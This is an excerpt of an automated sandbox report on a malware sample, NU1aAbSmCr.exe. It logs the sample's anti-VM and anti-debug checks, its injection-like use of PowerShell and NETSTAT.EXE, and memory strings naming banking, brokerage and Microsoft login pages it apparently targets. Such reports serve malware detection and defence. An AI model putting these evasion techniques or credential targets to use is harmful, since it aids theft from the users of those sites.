Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: NU1aAbSmCr.exe PID: 4220, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818D7E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: 2A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: 2960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: 7BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: 8BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: 8D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Memory allocated: 9D80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Code function: 4_2_0162096E rdtsc

4_2_0162096E

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5690	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2257	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Window / User API: threadDelayed 9736	Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API coverage: 2.6 %

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe TID: 5820	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 7820	Thread sleep count: 236 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 7820	Thread sleep time: -472000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 7820	Thread sleep count: 9736 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 7820	Thread sleep time: -19472000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe TID: 7936	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Last function: Thread delayed

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Code function: 11_2_0305C780 FindFirstFileW,FindNextFileW,FindClose,

11_2_0305C780

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 41392M9L.11.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 41392M9L.11.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: 41392M9L.11.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 41392M9L.11.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: 41392M9L.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000002.2580173709.000000000067F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.0000000008127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (nteractive Brokers - EU WestVMware20,11696497155n
Source: 41392M9L.11.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 41392M9L.11.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: 41392M9L.11.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 41392M9L.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: 41392M9L.11.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.0000000008127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RL for global passwords blocklistVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: 41392M9L.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: 41392M9L.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 41392M9L.11.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.0000000008127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155eeA
Source: 41392M9L.11.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: 41392M9L.11.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.0000000008127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nteractive Brokers - EU WestVMware20,11696497155n
Source: 41392M9L.11.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 41392M9L.11.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 41392M9L.11.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 41392M9L.11.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: 41392M9L.11.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: 41392M9L.11.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x
Source: firefox.exe, 0000000F.00000002.2111061999.0000027945D3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllmmrP

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Code function: 4_2_0162096E rdtsc

4_2_0162096E

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Code function: 4_2_00417AD3 LdrLoadDll,

4_2_00417AD3

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6154 mov eax, dword ptr fs:[00000030h]	4_2_015E6154
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6154 mov eax, dword ptr fs:[00000030h]	4_2_015E6154
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DC156 mov eax, dword ptr fs:[00000030h]	4_2_015DC156
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4164 mov eax, dword ptr fs:[00000030h]	4_2_016B4164
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4164 mov eax, dword ptr fs:[00000030h]	4_2_016B4164
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01674144 mov eax, dword ptr fs:[00000030h]	4_2_01674144
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01674144 mov eax, dword ptr fs:[00000030h]	4_2_01674144
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01674144 mov ecx, dword ptr fs:[00000030h]	4_2_01674144
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01674144 mov eax, dword ptr fs:[00000030h]	4_2_01674144
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01674144 mov eax, dword ptr fs:[00000030h]	4_2_01674144
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01678158 mov eax, dword ptr fs:[00000030h]	4_2_01678158
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01610124 mov eax, dword ptr fs:[00000030h]	4_2_01610124
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov eax, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov ecx, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov eax, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov eax, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov ecx, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov eax, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov eax, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov ecx, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov eax, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E10E mov ecx, dword ptr fs:[00000030h]	4_2_0168E10E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168A118 mov ecx, dword ptr fs:[00000030h]	4_2_0168A118
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168A118 mov eax, dword ptr fs:[00000030h]	4_2_0168A118
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168A118 mov eax, dword ptr fs:[00000030h]	4_2_0168A118
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168A118 mov eax, dword ptr fs:[00000030h]	4_2_0168A118
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A0115 mov eax, dword ptr fs:[00000030h]	4_2_016A0115
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B61E5 mov eax, dword ptr fs:[00000030h]	4_2_016B61E5
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016101F8 mov eax, dword ptr fs:[00000030h]	4_2_016101F8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A61C3 mov eax, dword ptr fs:[00000030h]	4_2_016A61C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A61C3 mov eax, dword ptr fs:[00000030h]	4_2_016A61C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0165E1D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0165E1D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0165E1D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0165E1D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0165E1D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DA197 mov eax, dword ptr fs:[00000030h]	4_2_015DA197
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DA197 mov eax, dword ptr fs:[00000030h]	4_2_015DA197
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DA197 mov eax, dword ptr fs:[00000030h]	4_2_015DA197
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169C188 mov eax, dword ptr fs:[00000030h]	4_2_0169C188
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169C188 mov eax, dword ptr fs:[00000030h]	4_2_0169C188
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01620185 mov eax, dword ptr fs:[00000030h]	4_2_01620185
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01684180 mov eax, dword ptr fs:[00000030h]	4_2_01684180
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01684180 mov eax, dword ptr fs:[00000030h]	4_2_01684180
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166019F mov eax, dword ptr fs:[00000030h]	4_2_0166019F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166019F mov eax, dword ptr fs:[00000030h]	4_2_0166019F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166019F mov eax, dword ptr fs:[00000030h]	4_2_0166019F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166019F mov eax, dword ptr fs:[00000030h]	4_2_0166019F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E2050 mov eax, dword ptr fs:[00000030h]	4_2_015E2050
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160C073 mov eax, dword ptr fs:[00000030h]	4_2_0160C073
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666050 mov eax, dword ptr fs:[00000030h]	4_2_01666050
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE016 mov eax, dword ptr fs:[00000030h]	4_2_015FE016
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE016 mov eax, dword ptr fs:[00000030h]	4_2_015FE016
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE016 mov eax, dword ptr fs:[00000030h]	4_2_015FE016
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE016 mov eax, dword ptr fs:[00000030h]	4_2_015FE016
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01676030 mov eax, dword ptr fs:[00000030h]	4_2_01676030
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01664000 mov ecx, dword ptr fs:[00000030h]	4_2_01664000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000 mov eax, dword ptr fs:[00000030h]	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DA020 mov eax, dword ptr fs:[00000030h]	4_2_015DA020
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DC020 mov eax, dword ptr fs:[00000030h]	4_2_015DC020
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016660E0 mov eax, dword ptr fs:[00000030h]	4_2_016660E0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016220F0 mov ecx, dword ptr fs:[00000030h]	4_2_016220F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DC0F0 mov eax, dword ptr fs:[00000030h]	4_2_015DC0F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E80E9 mov eax, dword ptr fs:[00000030h]	4_2_015E80E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016620DE mov eax, dword ptr fs:[00000030h]	4_2_016620DE
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DA0E3 mov ecx, dword ptr fs:[00000030h]	4_2_015DA0E3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016780A8 mov eax, dword ptr fs:[00000030h]	4_2_016780A8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A60B8 mov eax, dword ptr fs:[00000030h]	4_2_016A60B8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A60B8 mov ecx, dword ptr fs:[00000030h]	4_2_016A60B8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E208A mov eax, dword ptr fs:[00000030h]	4_2_015E208A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D80A0 mov eax, dword ptr fs:[00000030h]	4_2_015D80A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168437C mov eax, dword ptr fs:[00000030h]	4_2_0168437C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B634F mov eax, dword ptr fs:[00000030h]	4_2_016B634F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
